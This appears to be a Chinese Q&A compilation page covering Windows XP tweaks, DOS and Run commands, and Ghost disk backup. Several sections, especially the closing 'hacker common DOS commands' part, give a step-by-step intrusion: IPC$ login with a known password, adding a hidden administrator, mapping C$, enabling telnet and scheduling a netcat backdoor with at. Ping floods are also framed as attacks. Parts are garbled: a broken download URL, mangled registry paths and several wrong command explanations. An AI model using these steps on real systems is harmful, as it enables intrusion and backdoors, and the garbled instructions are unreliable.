可能有的人使用的是網上下載的萬能Ghost版來安裝的系統，也可能是使用的是Windows XP無人值守安裝光碟安裝的系統，利用這些方法安裝時極有可能沒有讓你指定Administrator密碼，或者Administrator的密碼是默認的123456或乾脆為空。這樣的密碼是相當危險的，因此，在安裝完系統後，請右擊「我的電腦」，選擇「管理」，再選擇左側的「計算機管理(本地)→系統工具→本地用戶和組→用戶」，選中右側窗口中的Administrator，右擊，選擇「設置密碼」。

在打開窗口中單擊「繼續」按鈕，即可在打開窗口中為Administrator設置密碼。

另外，選擇「新用戶」，設置好用戶名和密碼，再雙擊新建用戶，單擊「隸屬於」標簽，將其中所有組(如果有)都選中，單擊下方的「刪除」按鈕。再單擊「添加」按鈕，然後再在打開窗口中單擊「高級」按鈕，接著單擊「立即查找」按鈕，找到PowerUser或User組，單擊「確定」兩次，將此用戶添加PowerUser或User組。注銷當前用戶，再以新用戶登錄可以發現系統快很多。

第5件大事:關閉默認共享

Windows安裝後，會創建一些隱藏共享，主要用於管理員遠程登錄時管理系統時使用，但對於個人用戶來說，這個很少用到，也不是很安全。所以，我們有必要要切斷這個共享:先在d:下新建一個disshare.bat文件，在其中寫上如下語句:

@echo off

net share C$/del

net share d$/del

netshare ipc$/del

net share admin$ /del

接下來，將d:disshare.bat拷貝到C:文件夾下。然後按下Win+R，輸入gpedit.msc，在打開窗口中依次展開「用戶配置→Windows設置→腳本(登錄/注銷)」文件夾，在右側窗格中雙擊「登錄」項，在彈出的窗口中，單擊「添加」命令，選中C:文件夾下的disshare.bat文件。

完成上述設置後，重新啟動系統，就能自動切斷Windows XP的默認共享通道了，如果你有更多硬碟，請在net share d$/del下自行添加，如net share e$/del、net share f$/del等。

第6件大事:啟用DMA傳輸模式

啟用DMA模式之後，計算機周邊設備(主要指硬碟)即可直接與內存交換數據，這樣能加快硬碟讀寫速度，提高數據傳輸速率:打開「設備管理器」，其中「IDE ATA/ATAPI 控制器」下有「主要 IDE 通道」和「次要 IDE 通道」，雙擊之，單擊「高級設置」，該對話框會列出目前IDE介面所連接設備的傳輸模式，單擊列表按鈕將「傳輸模式」設置為「DMA(若可用)」。重新啟動計算機即可生效。

第7件大事:啟用高級電源管理

有時候安裝Windows XP之前會發現沒有打開BIOS電源中的高級電源控制，安裝Windows XP後，關閉Windows時，電源不會自動斷開。這時，很多人選擇了重新打開BIOS中的高級電源控制，並重新安裝Windows XP。事實上，用不著這么麻煩，只要大家確認已經在BIOS中打開高級電源控制選項，再從http:///'mig25/acpi.exe下載並安裝這個程序，同時選擇ACPI Pc，一定不要選錯，否則重啟後可能無法進入Windows)，並重新啟動電腦，電腦可能會重新搜索並自動重新安裝電腦的硬體，之後就可以使其支持高級電源控制了。

第8件大事:取消壓縮文件夾支持

單擊開始→運行，輸入「regsvr32 /u zipfldr.dll」回車，出現提示窗口「zipfldr.dll中的Dll UnrgisterServer成功」即可取消Windows XP的壓縮文件夾支持。另外，輸入regsvr32 shdocvw.dll可以取消「圖片和傳真」與圖片文件的關聯。

第9件大事:取消「磁碟空間不足」通知

當磁碟驅動器的容量少於200MB時Windows XP便會發出「磁碟空間不足」的通知，非常煩人。可以打開「注冊表編輯器」，定位到HKEY_CURRENT_USERSoftwareMi Explorer，在「Explorer」上單擊右鍵，選擇右鍵菜單上的「新建」→「DWORD 值」，將這個值命名為「NoLowDiskSpaceChecks」，雙擊該值將其中的「數值數據」設為「1」。

第10件大事:啟用驗證碼

安裝SP2後，大多數用戶發現在訪問某些需要填寫驗證碼的地方，都無法顯示驗證碼圖片(顯示為一個紅色小叉)，這是一個非常嚴重的Bug。解決辦法為:運行「Regedit」命令打開注冊表編輯器，依次定位到「[HKEY_ LOCAL_ Explorer Security]」，在窗口右邊新建一個名為「BlockXBM」的REG_ DWORD值，將其值設置為「0」(十六進制值)。

⑶ dos狀態下一些命令

一，ping

它是用來檢查網路是否通暢或者網路連接速度的命令。作為一個生活在網路上的管理員或者黑客來說，ping命令是第一個必須掌握的DOS命令，它所利用的原理是這樣的：網路上的機器都有唯一確定的IP地址，我們給目標IP地址發送一個數據包，對方就要返回一個同樣大小的數據包，根據返回的數據包我們可以確定目標主機的存在，可以初步判斷目標主機的操作系統等。下面就來看看它的一些常用的操作。先看看幫助吧，在DOS窗口中鍵入：ping /? 回車，。所示的幫助畫面。在此，我們只掌握一些基本的很有用的參數就可以了（下同）。

-t 表示將不間斷向目標IP發送數據包，直到我們強迫其停止。試想，如果你使用100M的寬頻接入，而目標IP是56K的小貓，那麼要不了多久，目標IP就因為承受不了這么多的數據而掉線，呵呵，一次攻擊就這么簡單的實現了。

-l 定義發送數據包的大小，默認為32位元組，我們利用它可以最大定義到65500位元組。結合上面介紹的-t參數一起使用，會有更好的效果哦。

-n 定義向目標IP發送數據包的次數，默認為3次。如果網路速度比較慢，3次對我們來說也浪費了不少時間，因為現在我們的目的僅僅是判斷目標IP是否存在，那麼就定義為一次吧。

說明一下，如果-t 參數和 -n參數一起使用，ping命令就以放在後面的參數為標准，比如"ping IP -t -n 3"，雖然使用了-t參數，但並不是一直ping下去，而是只ping 3次。另外，ping命令不一定非得ping IP，也可以直接ping主機域名，這樣就可以得到主機的 IP。

下面我們舉個例子來說明一下具體用法。

這里time=2表示從發出數據包到接受到返回數據包所用的時間是2秒，從這里可以判斷網路連接速度的大小 。從TTL的返回值可以初步判斷被ping主機的操作系統，之所以說"初步判斷"是因為這個值是可以修改的。這里TTL=32表示操作系統可能是win98。

（小知識：如果TTL=128，則表示目標主機可能是Win2000；如果TTL=250，則目標主機可能是Unix）

至於利用ping命令可以快速查找區域網故障，可以快速搜索最快的QQ伺服器，可以對別人進行ping攻擊……這些就靠大家自己發揮了。

二，nbtstat

該命令使用TCP/IP上的NetBIOS顯示協議統計和當前TCP/IP連接，使用這個命令你可以得到遠程主機的NETBIOS信息，比如用戶名、所屬的工作組、網卡的MAC地址等。在此我們就有必要了解幾個基本的參數。

-a 使用這個參數，只要你知道了遠程主機的機器名稱，就可以得到它的NETBIOS信息（下同）。

-A 這個參數也可以得到遠程主機的NETBIOS信息，但需要你知道它的IP。

-n 列出本地機器的NETBIOS信息。

當得到了對方的IP或者機器名的時候，就可以使用nbtstat命令來進一步得到對方的信息了，這又增加了我們入侵的保險系數。

三，netstat

這是一個用來查看網路狀態的命令，操作簡便功能強大。

-a 查看本地機器的所有開放埠，可以有效發現和預防木馬，可以知道機器所開的服務等信息，如圖4。

這里可以看出本地機器開放有FTP服務、Telnet服務、郵件服務、WEB服務等。用法：netstat -a IP。

-r 列出當前的路由信息，告訴我們本地機器的網關、子網掩碼等信息。用法：netstat -r IP。
四，tracert

跟蹤路由信息，使用此命令可以查出數據從本地機器傳輸到目標主機所經過的所有途徑，這對我們了解網路布局和結構很有幫助。如圖5。

這里說明數據從本地機器傳輸到192.168.0.1的機器上，中間沒有經過任何中轉，說明這兩台機器是在同一段區域網內。用法：tracert IP。

五，net

這個命令是網路命令中最重要的一個，必須透徹掌握它的每一個子命令的用法，因為它的功能實在是太強大了，這簡直就是 微軟為我們提供的最好的入侵工具。首先讓我們來看一看它都有那些子命令，鍵入net /?回車如圖6。

在這里，我們重點掌握幾個入侵常用的子命令。

net view

使用此命令查看遠程主機的所以共享資源。命令格式為net view \IP。

net use

把遠程主機的某個共享資源影射為本地盤符，圖形界面方便使用，呵呵。命令格式為net use x: \IP\sharename。上面一個表示把 192.168.0.5IP的共享名為magic的目錄影射為本地的Z盤。下面表示和192.168.0.7建立IPC$連接（net use \IP\ IPC$ "password" /user:"name"），

建立了IPC$連接後，呵呵，就可以上傳文件了： nc.exe \192.168.0.7\admin$，表示把本地目錄下的nc.exe傳到遠程主機，結合後面要介紹到的其他DOS命令就可以實現入侵了。

net start

使用它來啟動遠程主機上的服務。當你和遠程主機建立連接後，如果發現它的什麼服務沒有啟動，而你又想利用此服務怎麼辦？就使用這個命令來啟動吧。用法：net start servername，如圖9，成功啟動了telnet服務。

net stop

入侵後發現遠程主機的某個服務礙手礙腳，怎麼辦？利用這個命令停掉就ok了，用法和net start同。

net user

查看和帳戶有關的情況，包括新建帳戶、刪除帳戶、查看特定帳戶、激活帳戶、帳戶禁用等。這對我們入侵是很有利的，最重要的，它為我們克隆帳戶提供了前提。鍵入不帶參數的net user，可以查看所有用戶，包括已經禁用的。下面分別講解。

1，net user abcd 1234 /add，新建一個用戶名為abcd，密碼為1234的帳戶，默認為user組成員。

2，net user abcd /del，將用戶名為abcd的用戶刪除。

3，net user abcd /active:no，將用戶名為abcd的用戶禁用。

4，net user abcd /active:yes，激活用戶名為abcd的用戶。

5，net user abcd，查看用戶名為abcd的用戶的情況

net localgroup

查看所有和用戶組有關的信息和進行相關操作。鍵入不帶參數的net localgroup即列出當前所有的用戶組。在入侵過程中，我們一般利用它來把某個帳戶提升為administrator組帳戶，這樣我們利用這個帳戶就可以控制整個遠程主機了。用法： net localgroup groupname username /add。

現在我們把剛才新建的用戶abcd加到 administrator組里去了，這時候abcd用戶已經是超級管理員了，呵呵，你可以再使用net user abcd來查看他的狀態，和圖10進行比較就可以看出來。但這樣太明顯了，網管一看用戶情況就能漏出破綻，所以這種方法只能對付菜鳥網管，但我們還得知道。現在的手段都是利用其他工具和手段克隆一個讓網管看不出來的超級管理員，這是後話。有興趣的朋友可以參照《黑客防線》第30期上的《由淺入深解析隆帳戶》一文。

net time

這個命令可以查看遠程主機當前的時間。如果你的目標只是進入到遠程主機裡面，那麼也許就用不到這個命令了。但簡單的入侵成功了，難道只是看看嗎？我們需要進一步滲透。這就連遠程主機當前的時間都需要知道，因為利用時間和其他手段（後面會講到）可以實現某個命令和程序的定時啟動，為我們進一步入侵打好基礎。用法：net time \IP。

六，at

這個命令的作用是安排在特定日期或時間執行某個特定的命令和程序（知道net time的重要了吧？）。當我們知道了遠程主機的當前時間，就可以利用此命令讓其在以後的某個時間（比如2分鍾後）執行某個程序和命令。用法：at time command \computer。

表示在6點55分時，讓名稱為a-01的計算機開啟telnet服務（這里net start telnet即為開啟telnet服務的命令）。
七，ftp

大家對這個命令應該比較熟悉了吧？網路上開放的ftp的主機很多，其中很大一部分是匿名的，也就是說任何人都可以登陸上去。現在如果你掃到了一台開放 ftp服務的主機（一般都是開了21埠的機器），如果你還不會使用ftp的命令怎麼辦？下面就給出基本的ftp命令使用方法。

首先在命令行鍵入ftp回車，出現ftp的提示符，這時候可以鍵入"help"來查看幫助（任何DOS命令都可以使用此方法查看其幫助)。

大家可能看到了，這么多命令該怎麼用？其實也用不到那麼多，掌握幾個基本的就夠了。

首先是登陸過程，這就要用到open了，直接在ftp的提示符下輸入"open 主機IP ftp埠"回車即可，一般埠默認都是21，可以不寫。接著就是輸入合法的用戶名和密碼進行登陸了，這里以匿名ftp為例介紹。

用戶名和密碼都是ftp，密碼是不顯示的。當提示**** logged in時，就說明登陸成功。這里因為是匿名登陸，所以用戶顯示為Anonymous。

接下來就要介紹具體命令的使用方法了。

dir 跟DOS命令一樣，用於查看伺服器的文件，直接敲上dir回車，就可以看到此ftp伺服器上的文件。

cd 進入某個文件夾。

get 下載文件到本地機器。

put 上傳文件到遠程伺服器。這就要看遠程ftp伺服器是否給了你可寫的許可權了，如果可以，呵呵，該怎麼 利用就不多說了，大家就自由發揮去吧。

delete 刪除遠程ftp伺服器上的文件。這也必須保證你有可寫的許可權。

bye 退出當前連接。

quit 同上。

八，telnet

功能強大的遠程登陸命令，幾乎所有的入侵者都喜歡用它，屢試不爽。為什麼？它操作簡單，如同使用自己的機器一樣，只要你熟悉DOS命令，在成功以 administrator身份連接了遠程機器後，就可以用它來干你想乾的一切了。下面介紹一下使用方法，首先鍵入telnet回車，再鍵入help查看其幫助信息。

然後在提示符下鍵入open IP回車，這時就出現了登陸窗口，讓你輸入合法的用戶名和密碼，這里輸入任何密碼都是不顯示的。

當輸入用戶名和密碼都正確後就成功建立了telnet連接，這時候你就在遠程主機上具有了和此用戶一樣的許可權，利用DOS命令就可以實現你想乾的事情了。這里我使用的超級管理員許可權登陸的。

到這里為止，網路DOS命令的介紹就告一段落了，這里介紹的目的只是給菜鳥網管一個印象，讓其知道熟悉和掌握網路DOS命令的重要性。其實和網路有關的 DOS命令還遠不止這些，這里只是拋磚引玉，希望能對廣大菜鳥網管有所幫助。學好DOS對當好網管有很大的幫助，特別的熟練掌握了一些網路的DOS命令。

另外大家應該清楚，任何人要想進入系統，必須得有一個合法的用戶名和密碼（輸入法漏洞差不多絕跡了吧），哪怕你拿到帳戶的只有一個很小的許可權，你也可以利用它來達到最後的目的。所以堅決消滅空口令，給自己的帳戶加上一個強壯的密碼，是最好的防禦弱口令入侵的方法。

最後，由衷的說一句，培養良好的安全意識才是最重要的。

=========================================
開始→運行→命令集錦
winver---------檢查Windows版本
wmimgmt.msc----打開windows管理體系結構(WMI)
wupdmgr--------windows更新程序
wscript--------windows腳本宿主設置
write----------寫字板
winmsd---------系統信息
wiaacmgr-------掃描儀和照相機向導
winchat--------XP自帶區域網聊天

mem.exe--------顯示內存使用情況
Msconfig.exe---系統配置實用程序
mplayer2-------簡易widnows media player
mspaint--------畫圖板
mstsc----------遠程桌面連接
mplayer2-------媒體播放機
magnify--------放大鏡實用程序
mmc------------打開控制台
mobsync--------同步命令

dxdiag---------檢查DirectX信息
drwtsn32------ 系統醫生
devmgmt.msc--- 設備管理器
dfrg.msc-------磁碟碎片整理程序
diskmgmt.msc---磁碟管理實用程序
dcomcnfg-------打開系統組件服務
ddeshare-------打開DDE共享設置
dvdplay--------DVD播放器

net stop messenger-----停止信使服務
net start messenger----開始信使服務
notepad--------打開記事本
nslookup-------網路管理的工具向導
ntbackup-------系統備份和還原
narrator-------屏幕"講述人"
ntmsmgr.msc----移動存儲管理器
ntmsoprq.msc---移動存儲管理員操作請求
netstat -an----(TC)命令檢查介面

syncapp--------創建一個公文包
sysedit--------系統配置編輯器
sigverif-------文件簽名驗證程序
sndrec32-------錄音機
shrpubw--------創建共享文件夾
secpol.msc-----本地安全策略
syskey---------系統加密，一旦加密就不能解開，保護windows xp系統的雙重密碼
services.msc---本地服務設置
Sndvol32-------音量控製程序
sfc.exe--------系統文件檢查器
sfc /scannow---windows文件保護

tsshutdn-------60秒倒計時關機命令
tourstart------xp簡介（安裝完成後出現的漫遊xp程序）
taskmgr--------任務管理器

eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打開資源管理器

packager-------對象包裝程序
perfmon.msc----計算機性能監測程序
progman--------程序管理器

regedit.exe----注冊表
rsop.msc-------組策略結果集
regedt32-------注冊表編輯器
rononce -p ----15秒關機
regsvr32 /u *.dll----停止dll文件運行
regsvr32 /u zipfldr.dll------取消ZIP支持

cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁碟檢查
certmgr.msc----證書管理實用程序
calc-----------啟動計算器
charmap--------啟動字元映射表
cliconfg-------SQL SERVER 客戶端網路實用程序
Clipbrd--------剪貼板查看器
conf-----------啟動netmeeting
compmgmt.msc---計算機管理
cleanmgr-------垃圾整理
ciadv.msc------索引服務程序

osk------------打開屏幕鍵盤
odbcad32-------ODBC數據源管理器
oobe/msoobe /a----檢查XP是否激活
lusrmgr.msc----本機用戶和組
logoff---------注銷命令

iexpress-------木馬捆綁工具，系統自帶

Nslookup-------IP地址偵測器

fsmgmt.msc-----共享文件夾管理器

utilman--------輔助工具管理器

gpedit.msc-----組策略

⑷ 電腦里怎麼將一個文件進行備份需要詳細步驟！！！

運行ghost：新版本的ghost包括DOS版本和windows版本，DOS版本只能在Dos環境中運行。windows版本只能在windows環境中運行。由於DOS的高穩定性，且在DOS環境中備份windows操作系統，已經脫離了windows環境，建議備份windows操作系統，使用DOS版本的ghost軟體。我們通常把ghost文件復制到啟動軟盤（U盤）里，也可將其刻錄進啟動光碟，用啟動盤進入Dos環境後，在提示符下輸入ghost，回車即可運行ghost，首先出現的是關於界面 按任意鍵進入ghost操作界面，出現ghost菜單，主菜單共有4項，從下至上分別為Quit（退出）、Options（選項）、Peer to Peer（點對點，常稱之為P2P，主要用於網路中）、Local（本地）。一般情況下我們只用到Local菜單項，其下有三個子項：Disk（硬碟備份與還原）、Partition（磁碟分區備份與還原）、 Check（硬碟檢測），前兩項功能是我們用得最多的，下面的操作講解就是圍繞這兩項展開的。
3、由於Ghost在備份還原是按扇區來進行復制，所以在操作時一定要小心，不要把目標盤（分區）弄錯了，要不將目標盤（分區）的數據全部抹掉就很慘的……根本沒有多少恢復的機會，所以一定要認真、細心！但你也不要太緊張，其實Ghost的使用很簡單，弄懂那幾個單詞的意思你就會理解它的用法，加上認真的態度，你一定可以掌握它的！一起來吧：）
二、 分區備份
預備知識：認識單詞
Disk：不用我說你也知道，磁碟的意思；
Partition：即分區，在操作系統里，每個硬碟盤符（C盤以後）對應著一個分區；
Image：鏡像，鏡像是Ghost的一種存放硬碟或分區內容的文件格式，擴展名為.gho；
To：到，在ghost里，簡單理解to即為「備份到」的意思；
From：從，在ghost里，簡單理解from即為「從……還原」的意思。
（一） Partition菜單簡介
其下有三個子菜單：
To Partion：將一個分區（稱源分區）直接復制到另一個分區（目標分區），注意操作時，目標分區空間不能小於源分區；
To Image：將一個分區備份為一個鏡像文件，注意存放鏡像文件的分區不能比源分區小，最好是比源分區大；
From Image：從鏡像文件中恢復分區（將備份的分區還原）。
（二） 分區鏡像文件的製作
1、 運行ghost後，用游標方向鍵將游標從「Local」經「Disk」、「Partition」移動到「To Image」菜單項上，然後按回車。
2、 出現選擇本地硬碟窗口，，再按回車鍵。
3、 出現選擇源分區窗口（源分區就是你要把它製作成鏡像文件的那個分區）
用上下游標鍵將藍色光條定位到我們要製作鏡像文件的分區上，按回車鍵確認我們要選擇的源分區，再按一下Tab鍵將游標定位到OK鍵上（此時OK鍵變為白色），再按回車鍵。
4、 進入鏡像文件存儲目錄，默認存儲目錄是ghost文件所在的目錄，在File name處輸入鏡像文件的文件名，也可帶路徑輸入文件名（此時要保證輸入的路徑是存在的，否則會提示非法路徑），如輸入D:\sysbak\cwin98，表示將鏡像文件cwin98.gho保存到D:\sysbak目錄下，輸好文件名後，再回車。
5、 接著出現「是否要壓縮鏡像文件」窗口，有「No（不壓縮）、Fast（快速壓縮）、High（高壓縮比壓縮）」，壓縮比越低，保存速度越快。一般選Fast即可，用向右游標方向鍵移動到Fast上，回車確定；
6、 接著又出現一個提示窗口，用游標方向鍵移動到「Yes」上，回車確定。
7、 Ghost開始製作鏡像文件
8、 建立鏡像文件成功後，會出現提示創建成功窗口
回車即可回到Ghost界面；
9、 再按Q鍵，回車後即可退出ghost。
至此，分區鏡像文件製作完畢！ 也蠻簡單的嘛：）。
三、 從鏡像文件還原分區
製作好鏡像文件，我們就可以在系統崩潰後還原，這樣又能恢復到製作鏡像文件時的系統狀態。下面介紹鏡像文件的還原。
（一）在DOS狀態下，進入Ghost所在目錄，輸入Ghost回車，即可運行Ghost。
（二）出現Ghost主菜單後，用游標方向鍵移動到菜單「Local－Partition－From Image」，然後回車。
（三） 出現「鏡像文件還原位置窗口」，在File name處輸入鏡像文件的完整路徑及文件名（你也可以用游標方向鍵配合Tab鍵分別選擇鏡像文件所在路徑、輸入文件名，但比較麻煩），如d:\sysbak\cwin98.gho，再回車。
（四） 出現從鏡像文件中選擇源分區窗口，直接回車。
（五） 又出現選擇本地硬碟窗口，再回車。
（六） 出現選擇從硬碟選擇目標分區窗口，我們用游標鍵選擇目標分區（即要還原到哪個分區），回車。
（七） 出現提問窗口，選Yes回車確定，ghost開始還原分區信息。
（八） 很快就還原完畢，出現還原完畢窗口，選Reset Computer回車重啟電腦。
現在就完成了分區的恢復，是不是很快呀：）。
注意：選擇目標分區時一定要注意選對，否則：（，後果是目標分區原來的數據將全部消失……
四、 硬碟的備份及還原
Ghost的Disk菜單下的子菜單項可以實現硬碟到硬碟的直接對拷（Disk－To Disk）、硬碟到鏡像文件（Disk－To Image）、從鏡像文件還原硬碟內容（From Image－Disk）。
在多台電腦的配置完全相同的情況下，我們可以先在一台電腦上安裝好操作系統及軟體，然後用ghost的硬碟對拷功能將系統完整地「復制」一份到其它電腦，這樣裝操作系統可比傳統方法快多了哦：）。
Ghost的Disk菜單各項使用與Partition大同小異，而且使用也不是很多，在此就不贅述了。
五、 Ghost使用方案
1、最佳方案：完成操作系統及各種驅動的安裝後，將常用的軟體（如殺毒、媒體播放軟體、office辦公軟體等）安裝到系統所在盤，接著安裝操作系統和常用軟體的各種升級補丁，然後優化系統，最後你就可以用啟動盤啟動到Dos下做系統盤的克隆備份了，注意備份盤的大小不能小於系統盤！
2、如果你因疏忽，在裝好系統一段間後才想起要克隆備份，那也沒關系，備份前你最好先將系統盤里的垃圾文件清除，注冊表裡的垃圾信息清除（推薦用Windows優化大師），然後整理系統盤磁碟碎片，整理完成後到Dos下進行克隆備份。
3、什麼情況下該恢復克隆備份？
當你感覺系統運行緩慢時（此時多半是由於經常安裝卸載軟體，殘留或誤刪了一些文件，導致系統紊亂）、系統崩潰時、中了比較難殺除的病毒時，你就要進行克隆還原了！有時如果長時間沒整理磁碟碎片，你又不想花上半個小時甚至更長時間整理時，你也可以直接恢復克隆備份，這樣比單純整理磁碟碎片效果要好得多！
4、最後強調：在備份還原時一定要注意選對目標硬碟或分區！
應用，深入及其它參數和命令
系統備份
使用ghost進行系統備份，有整個硬碟（disk）和分區硬碟（partition）兩種方式。在菜單中點擊local（本地）項，在右面彈出的菜單中有3個子項，其中disk表示備份整個硬碟（即克隆）、partition表示備份硬碟的單個分區、check表示檢查硬碟或備份的文件，查看是否可能因分區、硬碟被破壞等造成備份或還原失敗。分區備份作為個人用戶來保存系統數據，特別是在恢復和復制系統分區時具有實用價值。
選local→partition→to image菜單，彈出硬碟選擇窗口，開始分區備份操作。點擊該窗口中白色的硬碟信息條，選擇硬碟，進入窗口，選擇要操作的分區（若沒有滑鼠，可用鍵盤進行操作：tab鍵進行切換，回車鍵進行確認，方向鍵進行選擇）。在彈出的窗口中選擇備份儲存的目錄路徑並輸入備份文件名稱，注意備份文件的名稱帶有gho的後綴名。接下來，程序會詢問是否壓縮備份數據，並給出3個選擇：no表示不壓縮，fast表示壓縮比例小而執行備份速度較快，high就是壓縮比例高但執行備份速度相當慢。最後選擇yes按鈕即開始進行分區硬碟的備份。ghost備份的速度相當快，不用久等就可以完成，備份的文件以gho後綴名儲存在設定的目錄中。
系統克隆
硬碟的克隆就是對整個硬碟的備份和還原。選擇菜單local→disk→to disk，在彈出的窗口中選擇源硬碟（第一個硬碟），然後選擇要復制到的目標硬碟（第二個硬碟）。注意，可以設置目標硬碟各個分區的大小，ghost可以自動對目標硬碟按設定的分區數值進行分區和格式化。選擇yes開始執行。
ghost能將目標硬碟復製得與源硬碟幾乎完全一樣，並實現分區、格式化、復制系統和文件一步完成。只是要注意目標硬碟不能太小，必須能將源硬碟的數據內容裝下。
ghost還提供了一項硬碟備份功能，就是將整個硬碟的數據備份成一個文件保存在硬碟上（菜單local→disk→to image），然後就可以隨時還原到其他硬碟或源硬碟上，這對安裝多個系統很方便。使用方法與分區備份相似。
系統還原
如果硬碟中備份的分區數據受到損壞，用一般數據修復方法不能修復，以及系統被破壞後不能啟動，都可以用備份的數據進行完全的復原而無須重新安裝程序或系統。當然，也可以將備份還原到另一個硬碟上。
要恢復備份的分區，就在界面中選擇菜單local→partition→from image，在彈出窗口中選擇還原的備份文件，再選擇還原的硬碟和分區，點擊yes按鈕即可。

⑸ win7下怎麼用dos命令同步北京時間

操作步驟如下：

1、點擊開始，點擊運行，輸入cmd，點擊確定；

2、提示符後輸入NET TIME \erp /set，回車；

⑹ 誰有DOS命令的解釋哦.

ATTRIB 文件屬性（顯示或改變屬性）
CHDIR(CD) 改變目錄
CHKDSK 檢查磁碟
CHOICE 提示擊鍵輸入
CLS 清屏幕
COMMAND 重新載入MS-DOS程序
COPY 復制文件
DATE 設置顯示日期
DEBUG 調試程序
DEFRAG 清除磁碟碎片
DEL(ERASE) 刪除文件
DELOLDOS 刪除舊DOS文件
DELTREE 刪除目錄樹分支
DIR 顯示目錄
DISKCOMP 比較軟盤內容
DISKCOPY 復制磁碟
DOS 擴展擴充內存管理
DOSSHELL DOS外層
DRIVPARM 定義驅動器參數
EDIT 編輯器
EMM386 內存管理
ERASE 刪除文件
DBLSPACE 磁碟壓縮
EXPAND 釋放壓縮
FASTHELP 快速求助
FC 文件比較
FDISK 磁碟分區
FIND 搜尋指定字串
FOR 循環執行命令
FORMAT 格式化磁碟
MEM 內存使用情況顯示
MKDIR(MD) 建立子目錄
MSAV 檢查和清除病毒
MSBACKUP 磁碟文件務份
PATH 設置搜索路徑
PAUSE 暫停執行命令
RESTORE 磁碟文件轉儲
RENAME(REN) 文件重新命名
RMDIR(RD) 刪除目錄
SCANDISK 檢查磁碟
SYS 傳送系統文件
TIME 設置顯示時間
TREE 顯示目錄結構
TYPE 顯示文件內容
UNDELETE 恢復被刪除文件
VER 顯示系統版本號
VOL 顯示卷標
VSAFE 病毒檢查
XCOPY 復制組文件
APPEND 補充路徑
BREAK 檢查控制中斷
BUFFERS 設置磁碟緩沖區數
CALL 調用批文件
CHCP 轉換碼頁
COUNTRY 確定國家標准貨幣
CTTY 改變控制台
DEVICE 安裝設備驅動程序
DEVICEHIGH 裝載設備驅動程序
ECHO 命令顯示開關
FASTOPEN 快速載入文件
FCBS 使用文件控制塊
FILES 同時打開文件數
GOTO 轉向分支
GRAPHICS 圖形屏幕列印
HELP 求助
IF 設定條件
INCLUDE 簡化多重配置塊
INSTALL 安裝常駐程序
INTERLNK 計算機互連
INTERSVR 與伺服器互連
KEYB 裝載字元轉換表
LABEL 卷標
LASTDRIVE 置最大驅動器數
LOADFIX 裝入固定內存
LOADHIGH(LH) 高內存程序裝載
MEMMAKER 檢查內存
MENUCOLOR 設置顯示選項
MODE 設置硬體工作方式
MSCDEX 訪問CD驅動器
MSO 檢查系統配置
NLSFUNC 支持各國語言
NUMLOCK 控制NUMLOCK鍵
POWER 節省電能
PRINT 後台列印
PROMPT 改變系統提示
QBASIC 啟動QB
REM 注釋信息
REPLACE 替換文件
SET 設置環境變數
SETUP 安裝DOS6。2文件
SETVER 改變DOS版本表
SHARE 網路文件共享
SHELL 裝載命令處理程序
SMARTDRV 磁碟緩沖
SORT 文件排序
STACKS 支持動態使用的數據線
SUBMENU 菜單項（配置CONFIG。SYS）
SUBST 設置虛擬驅動器
SWITCHES 鍵盤開關
VRIFY 磁碟檢驗

》：建立子目錄命令 MD （內部命令）
功能：在指定盤的指定目錄下建立一個子目錄
格式：MD [盤符][路徑]子目錄名
注意：1。不能建立根目錄與目標目錄下已經存在的目錄
2。預設路徑時則表示在當前目錄下建立
2》：改變當前目錄目錄命令： CD （內部命令）
功能：設置指定盤的當前目錄
格式：CD [盤符][路徑]
注意：CD 表示顯示當前目錄
CD..表示退回到根目錄
CD/ 表示退回到上一級目錄
3》：刪除子目錄命令：RD （內部命令）
功能： 從指定的盤符上刪除子目錄
格式： CD [盤符][路徑]子目錄名
注意：1。要刪除的目錄必須為空目錄，如果不為空目錄，先來到該目錄，用 DEL *.*刪除該目錄下的所有內容
再回到上一級目錄，用RD命令刪除該目錄
2。不能刪除當前目錄與根目錄
4》：列文件目錄命令：DIR （內部命令）
功能：顯示指定盤、指定目錄下所包含的文件與下一級子目錄的有關信息
格式：DIR [盤符][路徑][文件名][/P][/W]
[/P]表示分屏顯示
[/W]表示壓縮顯示
5》：顯示全盤目錄命令：TREE （外部命令）
功能：顯示指定盤的目錄結構
格式：[盤符][路徑]TREE [盤符1][/F]
[/F]表示列出各級子目錄的文件名
6》：設置查找目標命令PATH （內部命令）
功能：設置外部文件的查找目錄
格式： PATH [盤符][路徑][；盤符][路徑]……
注意：1。顯示上次PATH命令設置的查找文件目錄命令用：
PATH
2。刪除上次PATH命令設置的文件查找目錄用：
PATH；
7》：刪除目錄命令：DELTREE
功能：將整個目錄及其子目錄和文件全部刪除
格式：DELLTREE [盤符][路徑]目標文件
注意：全部刪除、不論是否系統、隱藏、還是只讀

黑客常用dos命令（轉）
一般黑客入侵所需要的幾個常用命令

1：NET

只要你擁有某IP的用戶名和密碼，那就用IPC$做連接吧！

這里我們假如你得到的用戶是hbx，密碼是123456。假設對方IP為127.0.0.1

net use \\127.0.0.1\ipc$ "123456" /user:"hbx"

退出的命令是

net use \\127.0.0.1\ipc$ /delte

下面的操作你必須登陸後才可以用.登陸的方法就在上面.

----------------------

下面我們講怎麼創建一個用戶，由於SA的許可權相當於系統的超級用戶.

我們加一個hei的用戶密碼為lovechina

net user hei lovechina /add

只要顯示命令成功,那麼我們可以把他加入Administrator組了.

net localgroup Administrators hei /add

----------------------

這里是講映射對方的C盤,當然其他盤也可以,只要存在就行了.我們這里把對方的C盤映射到本地的Z盤.

net use z:\\127.0.0.1\c$

----------------------

net start telnet

這樣可以打開對方的TELNET服務.

----------------------

這里是將Guest用戶激活，guest是NT的默認用戶，而且無法刪除呢？不知道是否這樣，我的2000就是刪除不了它。

net user guest /active:yes

----------------------

這里是把一個用戶的密碼改掉，我們把guest的密碼改為lovechina，其他用戶也可以的。只要有許可權就行了呀！

net user guest lovechina

net命令果然強大啊！

2:at

一般一個入侵者入侵後都會留下後門，也就是種木馬了，你把木馬傳了上去，怎麼啟動他呢？

那麼需要用AT命令，這里假設你已經登陸了那個伺服器。

你首先要得到對方的時間，

net time \\127.0.0.1

將會返回一個時間，這里假設時間為12:1,現在需要新建一個作業，其ID=1

at \\127.0.0.1 12:3 nc.exe

這里假設了一個木馬，名為NC.EXE,這個東西要在對方伺服器上.

這里介紹一下NC,NC是NETCAT的簡稱,為了方便輸入,一般會被改名.它是一個TELNET服務,埠為99.

等到了12:3就可以連接到對方的99埠.這樣就給對方種下了木馬.

3:telnet

